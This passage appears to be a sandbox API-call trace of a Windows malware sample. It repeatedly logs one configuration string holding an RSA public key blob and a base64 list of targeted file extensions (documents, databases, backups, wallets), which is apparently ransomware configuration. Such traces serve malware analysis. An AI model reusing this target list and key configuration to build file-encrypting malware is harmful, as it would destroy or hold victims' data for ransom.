Aua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY